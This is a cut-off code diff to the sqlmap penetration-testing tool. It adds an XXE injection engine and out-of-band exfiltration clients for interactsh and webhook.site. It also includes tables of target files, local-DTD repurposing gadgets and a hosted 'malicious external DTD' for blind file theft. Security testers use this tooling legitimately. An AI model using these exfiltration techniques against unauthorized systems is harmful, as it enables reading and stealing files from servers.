5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -215,17 +215,19 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py +b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py +58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -255,6 +257,8 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py +9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -609,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia 41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py +a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py 3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py 118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py @@ -666,6 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py +140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a7200e3e3..a83a5f2cf 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -57,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import POST_HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE @@ -86,6 +87,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT @@ -1214,6 +1216,13 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index ba27f49aa..e81daaf48 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,8 +529,8 @@ def start(): checkWaf() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -557,6 +557,11 @@ def start(): sstiScan() continue + if conf.xxe: + from lib.techniques.xxe.inject import xxeScan + xxeScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/option.py b/lib/core/option.py index f828e4cf9..f6d555808 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -144,6 +144,7 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer +from lib.request.dns import InteractshDNSServer from lib.request.httpshandler import HTTPSHandler from lib.request.keepalive import HTTPKeepAliveHandler from lib.request.keepalive import HTTPSKeepAliveHandler @@ -935,10 +936,10 @@ def _setTamperingFunctions(): logger.warning(warnMsg) # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines - # (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so # warn instead of silently ignoring the user's '--tamper' - if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)): - engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_)) + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) warnMsg = "tamper scripts are applied to SQL injection payloads only and " warnMsg += "will be ignored by the '--%s' engine" % engine logger.warning(warnMsg) @@ -2581,6 +2582,26 @@ def _setDNSServer(): if not conf.dnsDomain: return + from lib.core.settings import OOB_INTERACTSH_SERVERS + + _requested = conf.dnsDomain.strip().lower() + if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS: + infoMsg = "setting up interactsh-backed DNS exfiltration collector" + logger.info(infoMsg) + + try: + conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None) + conf.dnsServer.run() + conf.dnsDomain = conf.dnsServer.domain + except socket.error as ex: + errMsg = "there was an error while setting up " + errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + + infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain + logger.info(infoMsg) + return + infoMsg = "setting up DNS server instance" logger.info(infoMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8ead48604..08cbf800b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -125,6 +125,9 @@ optDict = { "ldap": "boolean", "xpath": "boolean", "ssti": "boolean", + "xxe": "boolean", + "oobServer": "string", + "oobToken": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 39079dd02..7f4522c89 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.23" +VERSION = "1.10.7.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1071,6 +1071,73 @@ SSTI_ERROR_SIGNATURES = ( SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) +# XXE parser error signatures for detection and fingerprinting. Each tuple is +# (parser_family, regex_fragment). A match means the XML surface reached a real +# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) - +# useful both as an error-based oracle and to fingerprint the back-end parser. +XXE_ERROR_SIGNATURES = ( + ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"), + ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"), + ("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"), + (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"), + ("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"), + ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"), + ("Go encoding/xml", r"XML syntax error on line \d+"), + ("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"), +) + +XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES) + +# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external +# entities explicitly refused). Reported as "reachable but protected" - never a hit. +XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)" + +# Benign, low-entropy files used only to demonstrate file-read impact once XXE is +# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a +# short host-identity file is enough to prove the read without tripping decoys. +# Out-of-band (interactsh) collector for blind XXE confirmation. Public default +# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server +# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match +# the interactsh defaults (subdomain = <20-char id><13-char nonce>.). +OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") +# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration +# (hosts the malicious external DTD and captures the file-bearing callback). Unlike +# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +OOB_EXFIL_ENDPOINT = "https://webhook.site" +OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" +OOB_CORRELATION_ID_LENGTH = 20 +OOB_NONCE_LENGTH = 13 +OOB_POLL_ATTEMPTS = 5 +OOB_POLL_DELAY = 2 + +# Time-based blind tier: an external entity aimed at this non-routable RFC5737 +# TEST-NET-1 host makes a fetching parser stall on the connection, so a large, +# reproducible response delay betrays otherwise-blind XXE with NO collector needed. +# The delay must exceed a DTD-processing control baseline by this many seconds. +XXE_BLACKHOLE_HOST = "192.0.2.1" +XXE_TIME_THRESHOLD = 5 + +XXE_IMPACT_FILES = ( + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), + ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last +) + +# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: +# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle +# an error/exfil primitive, so no outbound network is needed. (path, entity_name). +# Windows paths are community-sourced and remain UNVERIFIED vendor-side. +XXE_LOCAL_DTDS = ( + ("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable + ("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package + ("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"), + ("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile + ("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED + ("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"), + ("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"), + ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), +) + # Upper bound for SSTI value extraction (reserved for future use) SSTI_MAX_LENGTH = 256 diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9081fe27d..d70b1001d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -440,7 +440,7 @@ def cmdLineParser(argv=None): help="Column values to use for UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", - help="Domain name used for DNS exfiltration attack") + help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") @@ -790,6 +790,15 @@ def cmdLineParser(argv=None): nonsql.add_argument("--ssti", dest="ssti", action="store_true", help="Test for server-side template injection") + nonsql.add_argument("--xxe", dest="xxe", action="store_true", + help="Test for XML External Entity (XXE) injection") + + nonsql.add_argument("--oob-server", dest="oobServer", + help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + + nonsql.add_argument("--oob-token", dest="oobToken", + help="Authentication token for a self-hosted '--oob-server'") + # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") diff --git a/lib/request/dns.py b/lib/request/dns.py index d51c79582..5b7082508 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -225,6 +225,60 @@ class DNSServer(object): thread.daemon = True thread.start() +class InteractshDNSServer(object): + """DNS exfiltration collector backed by a public (or self-hosted) interactsh + interaction server instead of a locally-bound privileged :53 socket. This lets + the '--dns-domain' data-exfiltration technique run with zero infrastructure - no + delegated authoritative domain, no root/Administrator, no reachable listener - + by resolving lookups under the interactsh correlation domain and polling them + back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it + is a drop-in for conf.dnsServer. + """ + + def __init__(self, server=None): + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package") + + self._client = Interactsh(server=server) + + if not self._client.registered: + raise socket.error("could not register with an interactsh interaction server") + + self.domain = self._client.dnsDomain() + self._seen = set() + self._running = True + self._initialized = True + + def run(self): + """No background listener is needed - interactsh does the receiving.""" + pass + + def pop(self, prefix=None, suffix=None): + """ + Returns a captured DNS lookup name matching the given prefix/suffix + (prefix..suffix.), mirroring DNSServer.pop(). + """ + + retVal = None + + for name in self._client.dnsNames(): + if name in self._seen: + continue + + if prefix is None and suffix is None: + self._seen.add(name) + retVal = name + break + + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + retVal = name + break + + return retVal + if __name__ == "__main__": server = None try: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py new file mode 100644 index 000000000..b089dcd75 --- /dev/null +++ b/lib/request/interactsh.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import time + +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_CORRELATION_ID_LENGTH +from lib.core.settings import OOB_INTERACTSH_SERVERS +from lib.core.settings import OOB_NONCE_LENGTH + +# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an +# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py); +# without it the OOB tier is simply skipped rather than erroring. +try: + from Crypto.Cipher import AES + from Crypto.Cipher import PKCS1_OAEP + from Crypto.Hash import SHA256 + from Crypto.PublicKey import RSA + _HAS_CRYPTO = True +except ImportError: + _HAS_CRYPTO = False + + +def hasCrypto(): + return _HAS_CRYPTO + + +class Interactsh(object): + """Minimal interactsh client: registers a per-scan RSA key with a public (or + self-hosted) interactsh server, hands out unique callback URLs, and polls for + the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on + the wire and decrypted locally, so the server operator never sees their content. + All HTTP goes through sqlmap's own request stack (proxy/timeout honoured).""" + + def __init__(self, server=None, token=None): + self.server = None + self.token = token or conf.get("oobToken") + self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) + self.secret = randomStr(32, lowercase=True) + self.registered = False + self._key = None + self._dnsNonce = None + + if not _HAS_CRYPTO: + return + + self._key = RSA.generate(2048) + pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM")))) + candidates = [server] if server else list(OOB_INTERACTSH_SERVERS) + + for candidate in candidates: + if not candidate: + continue + body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) + if self._request("https://%s/register" % candidate, post=body): + self.server = candidate + self.registered = True + logger.debug("registered with OOB interaction server '%s'" % candidate) + break + + def _request(self, url, post=None): + """Direct request to the interactsh server (a fixed service, never the target). + Self-contained on urllib so it works regardless of sqlmap's request-stack init + order (it is also called during option setup, before getPage is usable); honours + --proxy and tolerates self-signed certs like the rest of sqlmap. Returns the + response body text on success, otherwise None.""" + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + if self.token: + headers[HTTP_HEADER.AUTHORIZATION] = self.token + + handlers = [] + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex))) + return None + + def url(self): + """Return a fresh unique callback URL (host = correlationId + nonce).""" + nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "http://%s%s.%s" % (self.correlationId, nonce, self.server) + + def dnsDomain(self): + """Stable domain suffix (host = correlationId + a fixed nonce) usable as an + exfiltration suffix - additional labels prepended by a payload still resolve + to this correlation id, so every DNS lookup under it is captured.""" + if not self._dnsNonce: + self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server) + + def dnsNames(self): + """Poll and return the fully-qualified names (minus the server suffix) of the + DNS lookups captured so far, e.g. 'prefix..suffix.'.""" + return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")] + + def poll(self): + """Return the list of decrypted interaction records captured so far.""" + if not self.registered: + return [] + + page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + if not page: + return [] + + try: + response = json.loads(page) + except ValueError: + return [] + + retVal = [] + data = response.get("data") or [] + if data: + try: + aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"])) + except Exception as ex: + logger.debug("OOB AES key decryption failed: %s" % getText(ex)) + return [] + + for item in data: + try: + raw = base64.b64decode(item) + plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:]) + retVal.append(json.loads(getText(plain))) + except Exception as ex: + logger.debug("OOB interaction decryption failed: %s" % getText(ex)) + + return retVal + + def pollUntil(self, attempts, delay): + """Poll repeatedly, returning as soon as any interaction is captured.""" + for _ in range(attempts): + time.sleep(delay) + interactions = self.poll() + if interactions: + return interactions + return [] + + def close(self): + if self.registered: + body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) + self._request("https://%s/deregister" % self.server, post=body) + self.registered = False diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py new file mode 100644 index 000000000..9191ae3ff --- /dev/null +++ b/lib/request/webhooksite.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json + +from lib.core.data import logger +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_EXFIL_ENDPOINT +from lib.request.connect import Connect as Request + +# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom +# response (our malicious external DTD) AND log the request the target then makes +# (carrying the file content). interactsh cannot host arbitrary content, hence the +# separate backend. HTTP-only, free tier, no account required for basic tokens. + + +class WebhookSite(object): + """Thin webhook.site client: mints tokens (optionally serving fixed content) + and reads back the requests captured on them. All calls go through sqlmap's + request stack (proxy/timeout honoured) straight to the service, not the target.""" + + def __init__(self): + # Exfil host is the public content-serving endpoint (its token API is + # service-specific, so --oob-server, which selects the interactsh *detection* + # server, deliberately does not repoint it). + self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/') + + def _api(self, path, post=None): + try: + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, + auxHeaders=headers, direct=True, silent=True, raise404=False) + return page if (code is None or code in (200, 201)) else None + except Exception as ex: + logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) + return None + + def newToken(self, content=None): + """Create a token. When `content` is given the token serves it verbatim + (used to host the external DTD). Returns the token UUID or None.""" + body = {"default_status": 200} + if content is not None: + body["default_content"] = content + body["default_content_type"] = "application/xml" + page = self._api("/token", post=json.dumps(body)) + if page: + try: + return json.loads(page).get("uuid") + except ValueError: + pass + return None + + def hostUrl(self, token): + """Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly + cannot fetch https external entities.""" + host = self.endpoint.split("://", 1)[-1] + return "http://%s/%s" % (host, token) + + def captured(self, token): + """Return the list of request records captured on `token` (newest first).""" + page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token) + if page: + try: + return json.loads(page).get("data") or [] + except ValueError: + pass + return [] diff --git a/lib/techniques/xxe/__init__.py b/lib/techniques/xxe/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/xxe/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py new file mode 100644 index 000000000..0a585c4d7 --- /dev/null +++ b/lib/techniques/xxe/inject.py @@ -0,0 +1,699 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.dicts import POST_HINT_CONTENT_TYPES +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import XXE_BLACKHOLE_HOST +from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_HARDENED_REGEX +from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import OOB_EXFIL_DEFAULT_FILE +from lib.core.settings import OOB_POLL_ATTEMPTS +from lib.core.settings import OOB_POLL_DELAY +from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_TIME_THRESHOLD +from lib.request.connect import Connect as Request + +# Fresh per-scan sentinel token. Deliberately a random opaque string (never +# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and +# so its presence in a response is unambiguously our reflected/expanded value. +SENTINEL = randomStr(length=12, lowercase=True) + +# First element of the document (skipping the prolog, comments and any +# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. +_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") + +# A leaf text node: >text< with no markup/entities inside. Used to place an +# entity reference where the application is most likely to echo it back. +_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<") + + +def _looksXml(data): + data = (getText(data) or "").strip() + return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data + + +def _cleanBody(): + """Return the original request body with sqlmap's injection marks removed. + Order matters: drop the injected custom marks first (any literal '*' from the + original body was already escaped to ASTERISK_MARKER by target processing), + then restore those escaped asterisks.""" + data = getText(conf.data or "") + data = data.replace(kb.customInjectionMark or "\x00", "") + data = data.replace(ASTERISK_MARKER, "*") + return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct + + +def _rootName(xml): + stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL) + stripped = re.sub(r"", "", stripped, flags=re.DOTALL) + stripped = re.sub(r"]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL) + match = _ROOT_RE.search(stripped) + return match.group(1) if match else None + + +def _auxHeaders(): + """Send an XML content-type unless the user already pinned one (via -H/-r).""" + for name, _ in (conf.httpHeaders or []): + if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return None + return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"} + + +def _send(body): + """Issue one request with a fully-crafted XML body, preserving sqlmap's normal + request machinery (URL, cookies, headers, proxy, delay) for everything else.""" + + if conf.delay: + time.sleep(conf.delay) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) + page, _, _ = Request.getPage(post=body, method=conf.method, 